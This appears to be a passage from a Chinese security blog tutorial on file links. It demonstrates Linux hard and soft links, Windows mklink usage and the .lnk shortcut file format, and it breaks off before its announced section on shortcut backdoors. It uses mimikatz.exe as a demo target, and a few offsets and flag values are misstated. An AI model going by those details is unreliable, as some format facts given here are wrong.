文章目录
- 第一部分 Link
- 第二部分 Link & 快捷方式
- 第三部分 windows 快捷方式后门
- 参考文献
第一部分 Link
0. 什么是 Link ?
在操作系统中,特别是在文件系统中,“链接”(Link)是一种允许多个路径名指向同一文件或目录的机制。链接主要用于提高文件系统的灵活性,并允许更高效的数据访问。
1. Link 有什么作用 ?
-
快速访问文件或文件夹
Link 文件提供了一种快速访问文件或文件夹的方式。通过双击或点击快捷方式,用户可以快速打开目标文件或文件夹,而无需手动导航到其所在的位置
-
创建应用程序快捷方式
Link 文件可以用于创建应用程序的快捷方式。用户可以将应用程序的快捷方式放置在桌面、开始菜单或任务栏上,以便快速启动应用程序
-
自定义应用程序启动参数
Link 文件允许用户在快捷方式上指定自定义的应用程序启动参数。这意味着用户可以通过快捷方式直接调用应用程序,并传递特定的命令行参数
-
管理网络资源快捷方式
Link 文件可以用于创建指向网络资源(如共享文件夹、网络驱动器、网页等)的快捷方式。这样,用户可以快速访问网络资源,而无需手动输入网络路径或 URL
-
美化桌面和文件夹
Link 文件可以用于在桌面和文件夹中创建自定义的图标快捷方式。用户可以将自己喜欢的图标与文件或文件夹关联起来,从而个性化和美化桌面和文件夹的外观
2. 怎么创建 Link ?
可以通过命令行的方式手动创建 Link
2.1 Link 有哪些种类?
在计算机文件系统中,硬链接和软链接是两种常见的连接技术。它们可以将文件或目录与其他位置建立关联,提供方便的文件管理和共享功能。
(这快内容我们尝试用 Linux 系统作为演示环境,目的是为了更好的理解硬链接和软链接)
2.1.1 硬链接
2.1.1.1 硬链接的定义
硬链接是指多个文件名指向同一个物理文件的链接关系。它们在文件系统中具有相同的 inode 号(索引节点号),但可以位于不同的目录中。当创建硬链接时,实际上是为文件增加了一个新的路径入口
注意1:inode是Unix/Linux文件系统的一个概念,用于存储文件的元信息。Windows使用不同的文件系统,称为NTFS或FAT32,它们并不依赖inode
2.1.1.2 硬链接的工作原理
在创建硬链接时,操作系统会为新创建的链接分配相同的inode号,并在文件系统中的目录项中添加对应的链接关系。因此,无论通过哪个文件名访问该文件,都指向同一个inode,即同一个文件内容
2.1.1.3 硬链接的特点
- 硬链接与原始文件之间没有区别,它们是完全平等的
- 删除任何一个链接都不会影响其他链接
- 每个文件系统都有自己独立的inode空间,硬链接不能跨越不同的文件系统
2.1.1.4 硬链接相关实验
# 创建临时测试文件夹 /tmp/tmp.iC7dCifhBO
┌──(kali㉿kali)-[~/Desktop]
└─$ mktemp -d
/tmp/tmp.iC7dCifhBO
┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp/tmp.iC7dCifhBO
# 创建临时测试文件 test.txt
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ touch test.txt
# stat 查看测试文件信息
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test.txt
File: test.txt
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 8,1 Inode: 1703958 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 01:29:05.976846798 -0400
Modify: 2024-05-08 01:29:05.976846798 -0400
Change: 2024-05-08 01:29:05.976846798 -0400
Birth: 2024-05-08 01:29:05.976846798 -0400
# 创建 test_1.lnk 为 test.txt 的硬链接
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ ln test.txt test_1.lnk
# 分别查看 test_1.lnk 和 test.txt 的文件属性
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test.txt
File: test.txt
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 8,1 Inode: 1703958 Links: 2
Access: (0644/-rw-r--r--) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 01:29:05.976846798 -0400
Modify: 2024-05-08 01:29:05.976846798 -0400
Change: 2024-05-08 01:35:04.571955648 -0400
Birth: 2024-05-08 01:29:05.976846798 -0400
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test_1.lnk
File: test_1.lnk
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 8,1 Inode: 1703958 Links: 2
Access: (0644/-rw-r--r--) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 01:29:05.976846798 -0400
Modify: 2024-05-08 01:29:05.976846798 -0400
Change: 2024-05-08 01:35:04.571955648 -0400
Birth: 2024-05-08 01:29:05.976846798 -0400
# 尝试向 test.txt 文件中写入一些内容
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ echo "I just for test" >> test.txt
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ cat test.txt
I just for test
# 观察 test_1.lnk 是否能够更新内容
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ cat test_1.lnk
I just for test
# 删除 test.txt 文件
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ rm -rf test.txt
# 观察 test_1.lnk 是否能够读取到测试内容
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ cat test_1.lnk
I just for test
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test_1.lnk
File: test_1.lnk
Size: 16 Blocks: 8 IO Block: 4096 regular file
Device: 8,1 Inode: 1703958 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 01:40:45.955958542 -0400
Modify: 2024-05-08 01:38:12.487957241 -0400
Change: 2024-05-08 01:40:43.543958522 -0400
Birth: 2024-05-08 01:29:05.976846798 -0400
只有当所有指向该inode的硬链接都被删除后,其数据块通常会被操作系统回收并可能被其他文件重用,这意味着原始数据可能已经不可恢复(只要相对应的数据块没有被覆盖,那么是可以将文件还原回来的)。
2.1.1.4.1 无法跨分区、跨设备创建硬链接的原因分析
# 无法跨分区、跨设备创建硬链接
──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ sudo ln test_1.lnk /boot/
ln: failed to create hard link '/boot/test_1.lnk'=> ’test_1.lnk‘: Invalid cross-device link
每个分区都有自己独立的inode体系,假设A分区的文件在B分区做了一个硬链接,此时访问B分区的此链接,按照我们想的是需要它访问A分区的inode,进行数据查询,但是它只会根据B分区的inode,在B数据块中查找数据
2.1.1.4.2 一般情况下无法创建文件夹硬链接的原因分析
# 一般情况下无法创建文件夹的硬链接
# file -> directory
┌──(kali㉿kali)-[/tmp]
└─$ ln /tmp/tmp.iC7dCifhBO /tmp/dir.link
ln: /tmp/tmp.iC7dCifhBO: hard link not allowed for directory
# directory -> directory
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ sudo ln /tmp/tmp.6oxI1VVtJD -d /tmp/tmp.6oxI1VVtJD/test
ln: failed to create hard link '/tmp/tmp.6oxI1VVtJD/test' => '/tmp/tmp.6oxI1VVtJD': Operation not permitted
一般情况下无法创建文件夹硬链接的原因如下:
1. 硬链接到目录
可以创建指向目录的硬链接,但这些硬链接必须位于与原目录相同的文件系统中。这是因为硬链接实际上是文件系统中的指针,如果允许跨文件系统的硬链接,可能会导致文件系统的引用计数出错
2. 目录的硬链接限制
创建指向目录的硬链接通常是为了创建一个别名或快捷方式。然而,由于硬链接的工作原理,指向目录的硬链接不能在文件系统的外部使用,因为外部的文件系统无法解析原始目录的路径
3. . 和 .. 特殊目录
每个目录自动拥有两个特殊的硬链接:.(指向自身)和 ..(指向其父目录)。这些是目录结构的一部分,并且由文件系统自动维护
4. 不允许循环链接
为了防止无限循环,Linux 不允许创建指向目录的硬链接,这些硬链接会导致形成目录循环(例如,dir1/dir2 指向 dir1,而 dir1 又指向 dir2)。创建这样的循环链接会导致许多命令(如 ls、find)陷入无限循环
5. 删除和重命名限制
不能删除或重命名指向目录的 . 或 .. 目录条目,因为这些操作是受系统保护的
6. 硬链接和目录的安全性
技术上可以创建指向目录的硬链接,但这种做法并不常见,因为如果不正确使用,可能会导致文件系统导航和权限管理上的混乱
2.1.2 软链接
2.1.2.1 软链接的定义
软链接是指一个文件名指向另一个文件或目录的符号链接。与硬链接不同,软链接实际上是一个特殊类型的文件,其中包含指向目标文件或目录的路径信息
2.1.2.2 软链接的工作原理
创建软链接时,操作系统会为其分配一个新的inode,并在文件系统中的目录项中添加软链接的信息,指向目标文件或目录的路径。当访问软链接时,操作系统会通过路径信息找到目标文件或目录
2.1.2.3 软链接的特点
- 软链接是一个独立文件,它的大小仅占用几个字节的存储空间
- 删除原始文件或目录不会影响软链接的存在,但访问软链接时若目标文件不存在,则会报错
2.1.2.4 软链接相关实验
# 创建临时测试文件 test.txt
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ touch test.txt
# 创建 test_1.lnk 为 test.txt 的软链接
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ln -s test.txt test_1.lnk
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ls -ail
total 8
1703964 drwx------ 2 kali kali 4096 May 8 03:24 .
1703937 drwxrwxrwt 17 root root 4096 May 8 03:23 ..
1703969 lrwxrwxrwx 1 kali kali 8 May 8 03:24 test_1.lnk -> test.txt
1703968 -rw-r--r-- 1 kali kali 0 May 8 03:24 test.txt
# Inode: 1703968
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat test.txt
File: test.txt
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 8,1 Inode: 1703968 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 03:24:17.321876625 -0400
Modify: 2024-05-08 03:24:17.321876625 -0400
Change: 2024-05-08 03:24:17.321876625 -0400
Birth: 2024-05-08 03:24:17.321876625 -0400
# Inode: 1703969
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat test_1.lnk
File: test_1.lnk -> test.txt
Size: 8 Blocks: 0 IO Block: 4096 symbolic link
Device: 8,1 Inode: 1703969 Links: 1
Access: (0777/lrwxrwxrwx) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 03:24:34.824126375 -0400
Modify: 2024-05-08 03:24:31.700438748 -0400
Change: 2024-05-08 03:24:31.700438748 -0400
Birth: 2024-05-08 03:24:31.700438748 -0400
如上可以看出,软链接与原文件并不是同一inode,链接数也没有增加,文件大小也不一样
# 尝试向 test.txt 文件中写入一些内容
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ echo "I just for test" >> test.txt
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ cat test.txt
I just for test
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ cat test_1.lnk
I just for test
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ll
total 4
lrwxrwxrwx 1 kali kali 8 May 8 03:24 test_1.lnk -> test.txt
-rw-r--r-- 1 kali kali 16 May 8 03:35 test.txt
再次查看,原文件大小发生了改变,而链接文件大小依旧没变化。这其实就是软链接的特性之一,因为软链接的inode指向的数据块保存的是 原文件的路径,如果没有路径,是由文件名,默认会在软链接所在路径查找
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ mkdir test
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ cd test
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD/test]
└─$ ln -s ../test.txt /tmp/test
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD/test]
└─$ ll /tmp/test
lrwxrwxrwx 1 kali kali 11 May 8 03:44 /tmp/test -> ../test.txt
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD/test]
└─$ cat /tmp/test
cat: /tmp/test: No such file or directory
cat /tmp/test
它会以自己的路径为初始点去寻找test.txt。即 “/tmp/test -> …/test.txt”,在系统看来,它会理解成"以test所在路径为起点,回到上一级目录,去寻找test.txt"。很显然没有找到,所以报错
2.1.3 Linux 中的特殊条目
┌──(kali㉿kali)-[/tmp]
└─$ cd tmp.6oxI1VVtJD
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ls -ail
total 8
1703964 drwx------ 2 kali kali 4096 May 8 02:06 .
1703937 drwxrwxrwt 17 root root 4096 May 8 02:06 ..
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat .
File: .
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 8,1 Inode: 1703964 Links: 2
Access: (0700/drwx------) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 02:06:18.626527592 -0400
Modify: 2024-05-08 02:06:09.074481132 -0400
Change: 2024-05-08 02:06:09.074481132 -0400
Birth: 2024-05-08 02:06:09.074481132 -0400
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat ..
File: ..
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 8,1 Inode: 1703937 Links: 17
Access: (1777/drwxrwxrwt) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2024-05-08 02:06:10.010485929 -0400
Modify: 2024-05-08 02:06:09.074481132 -0400
Change: 2024-05-08 02:06:09.074481132 -0400
Birth: 2024-02-25 13:19:18.308000000 -0500
┌──(kali㉿kali)-[/tmp]
└─$ stat tmp.6oxI1VVtJD
File: tmp.6oxI1VVtJD
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 8,1 Inode: 1703964 Links: 2
Access: (0700/drwx------) Uid: ( 1000/ kali) Gid: ( 1000/ kali)
Access: 2024-05-08 02:06:18.626527592 -0400
Modify: 2024-05-08 02:06:09.074481132 -0400
Change: 2024-05-08 02:06:09.074481132 -0400
Birth: 2024-05-08 02:06:09.074481132 -0400
上述内容可以发现,在我们新建的一个文件夹 tmp.6oxI1VVtJD 中,已经存在了两个隐藏的特殊目录条目,分别是 “.”、“…” ,分别表示的当前路径和上级路径
.
代表当前目录,它是一个指向自己的硬链接..
代表当前目录的父目录,它也是一个硬链接,指向其父目录的目录条目
.
和 ..
是硬链接,但它们是特殊情况的硬链接,有以下特点:
-
特殊含义
.
代表当前目录,..
代表当前目录的父目录。这两个特殊的目录条目是 POSIX 标准(Portable Operating System Interface)定义的,它们为文件系统导航提供了一种标准和方便的方式 -
系统创建和管理
这两个硬链接是由文件系统自己创建和管理的。当一个新目录被创建时,文件系统会自动在该目录下创建
.
和..
条目 -
不允许删除或重命名
不能删除或重命名
.
和..
这两个特殊条目,对于文件系统的正常工作至关重要 -
不计入目录的硬链接数
一个文件或目录的硬链接数不包括
.
和..
条目。.
和..
对于所有目录都是固定的,不反映文件或目录的实际链接数 -
防止循环引用
由于
..
总是指向父目录,它防止了创建指向自身或形成无限循环的目录结构的可能性,这可能会使文件系统陷入混乱 -
简化文件系统操作
.
和..
的存在简化了许多文件系统操作,如遍历目录树、改变工作目录等
总之,.
和 ..
是硬链接,但它们是文件系统的一部分,具有特殊的意义和规则。它们被特别允许,因为它们对于文件系统的功能和结构至关重要,并且受到文件系统本身的保护和管理。
2.2 Link (Windows)
> mklink --help
创建符号链接
MKLINK [[/D] | [/H] | [/J]] Link Target
/D 创建目录符号链接。默认为文件
符号链接。
/H 创建硬链接,而不是符号链接。
/J 创建目录联接。
Link 指定新的符号链接名称。
Target 指定新链接引用的路径
(相对或绝对)。
2.2.1 command: mklink 的使用方法
- Windows Link 文件软链接
mklink 名称 文件路径
- Windows Link 文件硬链接
mklink /H 名称 文件路径
- Windows Link 文件夹软链接
mklink /D 名称 文件夹路径
- Windows Link 目录联结(硬链接)
mklink /J 名称 文件夹路径
创建了一个 demo 文件夹,里面存储了一个 mimikatz.exe ,对 mimikatz.exe 创建一个软链接和硬链接
对 demo 文件夹进行软链接和硬链接
2.2.2 powershell: mklink 的使用方法
- Windows Link 文件软链接
New-Item -ItemType SymbolicLink -Path 名称 -Target 路径
- Windows Link 文件硬链接
New-Item -ItemType HardLink -Path 名称 -Target 路径
- Windows Link 文件夹软链接
New-Item -ItemType SymbolicLink -Path 名称 -Target 路径
- Windows Link 目录联结(硬链接)
mklink /J 名称 文件夹路径
获取详细链接信息:
Get-ChildItem -Path . -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Attributes -band [IO.FileAttributes]::ReparsePoint } | Format-List
第二部分 Link & 快捷方式
0. 什么是快捷方式(.lnk 文件)?
Shell Link 是一个数据对象,其中包含用于访问 Shell 命名空间中的另一个对象(即通过 Windows 资源管理器可见的任何对象)的信息。 可通过 Shell 链接访问的对象类型包括文件、文件夹、磁盘驱动器和打印机。 Shell 链接允许用户或应用程序从命名空间中的任意位置访问对象。 用户或应用程序不需要知道对象的当前名称和位置
1. Lnk 有什么作用 ?
-
方便访问
快捷方式允许用户快速启动程序或访问文件和文件夹,无需浏览整个文件系统。
-
位置独立
快捷方式包含了目标对象的完整路径信息,因此即使快捷方式被移动到其他位置,它仍然可以指向原始目标。
-
易于创建和管理
用户可以通过简单的右键菜单操作在Windows资源管理器中创建快捷方式,管理起来非常方便。
-
可包含额外属性
快捷方式文件(.lnk 文件)可以存储额外的属性,如图标、工具提示、快捷键等。
-
易于分享
快捷方式可以被复制或移动到其他计算机上,使得用户可以与他人共享快速访问特定目标的方式。
-
桌面访问
用户经常在桌面上放置快捷方式,以便快速启动程序或访问常用文件夹。
-
组织和分类
快捷方式可以用于组织和分类文件和程序,使得用户可以通过不同的快捷方式集合来访问不同的应用程序或文档。
-
网络资源访问
快捷方式也可以用来指向网络共享或远程资源,使得访问这些资源更加方便。
-
维护一致性
在安装程序或进行系统配置时,可以创建快捷方式以确保用户可以通过一致的方式访问特定的功能或数据。
-
任务自动化
快捷方式可以与批处理文件或脚本结合使用,以自动化复杂的任务或操作序列
2. 怎么创建 Lnk ?
用户可以通过从对象的快捷菜单中选择“ 创建快捷方式” 命令来创建 Shell Link 。还可以通过应用程序创建和使用 Shell Link 和快捷方式。
注意2:不能使用 IShellLink 创建指向 URL 的链接
注意3:如果是用户通过菜单创建的快捷方式,在创建快捷方式后移动或重命名文档,系统将在用户下次选择该快捷方式时尝试更新该快捷方式
注意4:如果是通过应用程序创建的快捷方式,在创建快捷方式后移动或重命名文档,系统不会自动尝试解析该链接式
3. Lnk 文件格式解析
这里创建两个快捷方式以便对照分析:
一个快捷方式使用的是 mimikatz.exe
,快捷键目标中不使用系统环境变量
另一个快捷方式使用的是 calc.exe
,快捷键目标中将 C:\windows\system32
修改为系统环境变量 %windir%
将样本分别放入静态 HEX 编辑器(具体分析请查看参考文献 [7] )
**注意5:新版本 010 editor
能够在文件拖入是识别出快捷方式或是二进制文件。可以通过直接下载 010 editor
提供 的插件进行更加便捷的分析 **
.lnk 文件格式
+---------------------------+
| lnk file header |
+---------------------------+ >------.
| Shell Item Id List | |
+---------------------------+ |
| File location info | |
+---------------------------+ |
| Description string | |
+---------------------------+ ---
| Relative path string | 这几个节不是每一个都必须存在,如果存在就要按这样的顺序关系排列。
+---------------------------+ ---
| Working directory string | |
+---------------------------+ |
| Command line string | |
+---------------------------+ |
| Icon filename string | |
+---------------------------+ >------.
| Extra stuff |
+---------------------------+
3.1 ShellLinkHeader
- HeaderSize(4 bytes,
offset 0x00
):0x0000004C ,相当于字符"L",用于标识是否是个有效的.lnk文件,ShellLinkHeader 头大小 - LinkCLSID(16 bytes,
offset 0x04
):00021401-0000-0000-C000-000000000046,GUID,标识.lnk的唯一标识符 - sLinkFlags(4 bytes,offset 0x14):Flags 用来标识.lnk文件中有哪些可选属性
- FileAttributes (4 bytes,offset 0x18):目标文件属性
- CreationTime(8 bytes,offset 0x1c):一个FILETIME 结构([MS-DTYP]第 2.3.3 节),指定UTC(协调世界时) 格式的链接目标的创建时间。如果该值为零,则表示链接目标上没有设置创建时间。
- AccessTime(8 bytes,offset 0x24): FILETIME 结构([MS-DTYP] 第 2.3.3 节),指定 UTC(协调世界时)中的链接目标的访问时间。如果该值为零,则链接目标上没有设置访问时间。
- WriteTime(8 bytes,offset 0x3c): FILETIME 结构([MS-DTYP] 第 2.3.3 节),指定 UTC(协调世界时)中的链接目标的写入时间。如果该值为零,则链接目标上没有设置写入时间。
- FileSize(4 bytes,offset 0x44):一个 32 位无符号整数,指定链接目标的大小(以字节为单位)。如果链接目标文件大于 0xFFFFFFFF,则该值指定链接目标文件大小的最低有效 32 位。
- IconIndex(4 bytes,offset 0x48):一个 32 位有符号整数,指定给定图标位置内图标的索引
- ShowCommand(4 bytes,offset 0x4c):一个 32 位无符号整数,指定由链接启动的应用程序的预期窗口状态
- HotKey(2 bytes,offset 0x50):HotKeyFlags结构,指定用于启动快捷键引用的应用程序的击键
3.1.1 sLinkFlags
(具体 Flag 标志相关信息请查看参考文献 [8] )
Value | Description |
---|---|
A HasLinkTargetIDList | The shell link is saved with an item ID list (IDList). If this bit is set, a LinkTargetIDList structure (section 2.2) MUST follow the ShellLinkHeader. If this bit is not set, this structure MUST NOT be present. shell 链接与item ID 列表 (IDList),如果设置了该位,则LinkTargetIDList 结构存在 |
B HasLinkInfo | The shell link is saved with link information. If this bit is set, a LinkInfo structure (section 2.3) MUST be present. If this bit is not set, this structure MUST NOT be present. shell 链接与链接信息一起保存,如果设置了该位,则LinkInfo结构存在 |
C HasName | The shell link is saved with a name string. If this bit is set, a NAME_STRING StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present. shell 链接与名称字符串一起保存,如果设置了该位,则StringData结构必须存在NAME_STRING |
D HasRelativePath | The shell link is saved with a relative path string. If this bit is set, a RELATIVE_PATH StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present. shell 链接使用相对路径字符串保存。如果设置了该位,则StringData 结构必须存在RELATIVE_PATH |
E HasWorkingDir | The shell link is saved with a working directory string. If this bit is set, a WORKING_DIR StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present. shell 链接与工作目录字符串一起保存。如果设置了该位,则StringData 结构必须存在WORKING_DIR |
F HasArguments | The shell link is saved with command line arguments. If this bit is set, a COMMAND_LINE_ARGUMENTS StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present… shell 链接与命令行参数一起保存。如果设置了该位,则StringData 结构必须存在COMMAND_LINE_ARGUMENTS |
G HasIconLocation | The shell link is saved with an icon location string. If this bit is set, an ICON_LOCATION StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present. shell 链接与工作目录字符串一起保存。如果设置了该位,则ICON_LOCATION 结构必须存在WORKING_DIR |
H IsUnicode | The shell link contains Unicode encoded strings. This bit SHOULD be set. If this bit is set, the StringData section contains Unicode-encoded strings; otherwise, it contains strings that are encoded using the system default code page… shell 链接与工作目录字符串一起保存。如果设置了该位,则StringData 结构必须包含 Unicode 编码的字符串 |
I ForceNoLinkInfo | The LinkInfo structure (section 2.3) is ignored. |
J HasExpString | The shell link is saved with an EnvironmentVariableDataBlock (section 2.5.4). shell 链接使用 EnvironmentVariableDataBlock 保存 |
K RunInSeparateProcess | The target is run in a separate virtual machine when launching a link target that is a 16-bit application. |
L Unused1 | A bit that is undefined and MUST be ignored. |
M HasDarwinID | The shell link is saved with a DarwinDataBlock (section 2.5.3). |
N RunAsUser | The application is run as a different user when the target of the shell link is activated. 当 shell 链接的目标被激活时,应用程序将以不同的用户身份运行 |
O HasExpIcon | The shell link is saved with an IconEnvironmentDataBlock (section 2.5.5). |
P NoPidlAlias | The file system location is represented in the shell namespace when the path to an item is parsed into an IDList. |
Q Unused2 | A bit that is undefined and MUST be ignored. |
R RunWithShimLayer | The shell link is saved with a ShimDataBlock (section 2.5.8). |
S ForceNoLinkTrack | The TrackerDataBlock (section 2.5.10) is ignored. |
T EnableTargetMetadata | The shell link attempts to collect target properties and store them in the PropertyStoreDataBlock (section 2.5.7) when the link target is set. |
U DisableLinkPathTracking | The EnvironmentVariableDataBlock is ignored. |
V DisableKnownFolderTracking | The SpecialFolderDataBlock (section 2.5.9) and the KnownFolderDataBlock (section 2.5.6) are ignored when loading the shell link. If this bit is set, these extra data blocks SHOULD NOT be saved when saving the shell link. |
W DisableKnownFolderAlias | If the link has a KnownFolderDataBlock (section 2.5.6), the unaliased form of the known folder IDList SHOULD be used when translating the target IDList at the time that the link is loaded. |
X AllowLinkToLink | Creating a link that references another link is enabled. Otherwise, specifying a link as the target IDList SHOULD NOT be allowed. |
Y UnaliasOnSave | When saving a link for which the target IDList is under a known folder, either the unaliased form of that known folder or the target IDList SHOULD be used. |
Z PreferEnvironmentPath | The target IDList SHOULD NOT be stored; instead, the path specified in the EnvironmentVariableDataBlock (section 2.5.4) SHOULD be used to refer to the target. |
AA KeepLocalIDListForUNCTarget | When the target is a UNC name that refers to a location on a local machine, the local path IDList in the PropertyStoreDataBlock (section 2.5.7) SHOULD be stored, so it can be used when the link is loaded on the local machine. |
3.1.1.1 Calc.exe 快捷键 ShellLinkHeader LinkFlags 包含项
由上可以看到,该文件LinkFlags为0x000802DB(Bin:0000 0000 0000 0100 0000 0010 1101 1011),这表示以下Flag被设置:
- HasLinkTargetIDList
- HasLinkInfo
- HasRelativePath
- HasWorkingDir
- HasIconLocation
- IsUnicode
- HasExpIcon
- EnableTargetMetadata
3.1.2 sFileAttributes
(具体 Flag 标志相关信息请查看参考文献 [8] )
Value | Description |
---|---|
A FILE_ATTRIBUTE_READONLY | The file or directory is read-only. For a file, if this bit is set, applications can read the file but cannot write to it or delete it. For a directory, if this bit is set, applications cannot delete the directory. 文件或目录是只读的 |
B FILE_ATTRIBUTE_HIDDEN | The file or directory is hidden. If this bit is set, the file or folder is not included in an ordinary directory listing. 文件或目录被隐藏 |
C FILE_ATTRIBUTE_SYSTEM | The file or directory is part of the operating system or is used exclusively by the operating system. 文件或目录是操作系统的一部分或者由操作系统专用 |
D Reserved1 | A bit that MUST be zero. |
E FILE_ATTRIBUTE_DIRECTORY | The link target is a directory instead of a file. 链接目标是目录而不是文件 |
F FILE_ATTRIBUTE_ARCHIVE | The file or directory is an archive file. Applications use this flag to mark files for backup or removal. 文件或目录是存档文件。应用程序使用此标志来标记要备份或删除的文件 |
G Reserved2 | A bit that MUST be zero. |
H FILE_ATTRIBUTE_NORMAL | The file or directory has no other flags set. If this bit is 1, all other bits in this structure MUST be clear. |
I FILE_ATTRIBUTE_TEMPORARY | The file is being used for temporary storage. |
J FILE_ATTRIBUTE_SPARSE_FILE | The file is a sparse file. |
K FILE_ATTRIBUTE_REPARSE_POINT | The file or directory has an associated reparse point. |
L FILE_ATTRIBUTE_COMPRESSED | The file or directory is compressed. For a file, this means that all data in the file is compressed. For a directory, this means that compression is the default for newly created files and subdirectories. |
M FILE_ATTRIBUTE_OFFLINE | The data of the file is not immediately available. |
N FILE_ATTRIBUTE_NOT_CONTENT_INDEXED | The contents of the file need to be indexed. |
O FILE_ATTRIBUTE_ENCRYPTED | The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. |
3.1.2.1 Calc.exe 快捷键 ShellLinkHeader FileAttributes 包含项
由上可以看到,该文件LinkFlags为0x000802DB(Bin:0000 0000 0000 0000 0000 0000 0010 0000),这表示以下Flag被设置:
- FILE_ATTRIBUTE_ARCHIVE
3.1.3 ShowCommand
(具体 Flag 标志相关信息请查看参考文献 [9] )
Value | Meaning |
---|---|
SW_SHOWNORMAL0x00000001 | The application is open and its window is open in a normal fashion. 应用程序已打开并且其窗口以正常方式打开。 |
SW_SHOWMAXIMIZED 0x00000003 | The application is open, and keyboard focus is given to the application, but its window is not shown. 应用程序已打开,并且键盘焦点已分配给应用程序,但未显示其窗口。 |
SW_SHOWMINNOACTIVE 0x00000007 | The application is open, but its window is not shown. It is not given the keyboard focus. 应用程序已打开,但未显示其窗口。没有给予键盘焦点。 |
注意6: 所有其他值必须被视为 SW_SHOWNORMAL
3.1.4 HotKeyFlags
(具体 Flag 标志相关信息请查看参考文献 [10] )
3.2 LinkTargetIDList
LinkFlags 中HasLinkTargetIDList
设为1,故文件包含LinkTargetIDList结构
LinkTargetIDList 是由以下两部分组成:
- IDListSize(2 字节):IDList字段的大小(以字节为单位)
- IDList:一个存储的IDList结构,其中包含项目ID列表
3.2.1 IDList
IDList 是由以下两部分组成:
- ItemIDList:零个或多个ItemID结构的数组
- TerminalID(2 字节):一个 16 位无符号整数,指示项目 ID 的结尾。该值必须为0
3.2.1.1 ItemID
ItemID是由以下两部分组成:
- ItemIDSize(2 字节):一个 16 位无符号整数,指定 ItemID 结构的大小(以字节为单位),包括ItemIDSize字段
- data:指定项目的 shell 数据源定义的数据
3.3 LinkInfo
-
LinkInfoSize(4 bytes):一个 32 位无符号整数,指定 LinkInfo 结构的大小(以字节为单位)。该结构中指定的所有偏移量必须小于该值,并且该结构中包含的所有字符串必须适合该大小定义的范围
-
LinkInfoHeaderSize(4 bytes):一个 32 位无符号整数,指定LinkInfo标头部分的大小(以字节为单位),该标头部分由LinkInfoSize、LinkInfoHeaderSize、 LinkInfoFlags、VolumeIDOffset、LocalBasePathOffset、CommonNetworkRelativeLinkOffset、 CommonPathSuffixOffset字段 组成
-
LinkInfoFlags(4 bytes):指定此结构中是否存在 VolumeID、LocalBasePath、LocalBasePathUnicode和 CommonNetworkRelativeLink 字段的标志
-
VolumeIDOffset(4 bytes): 32 位无符号整数,指定VolumeID字段的位置。如果设置VolumeIDAndLocalBasePath 标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零
-
LocalBasePathOffset(4 bytes):一个 32 位无符号整数,指定LocalBasePath字段的位置。如果设置了VolumeIDAndLocalBasePath标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零
-
